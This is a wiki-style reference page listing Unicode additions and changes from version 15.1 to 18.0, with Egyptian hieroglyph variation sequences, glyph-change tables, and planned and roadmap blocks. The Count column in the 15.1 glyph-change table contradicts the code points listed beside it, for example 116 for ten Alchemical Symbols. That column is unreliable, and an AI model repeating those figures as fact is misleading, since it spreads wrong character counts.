|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
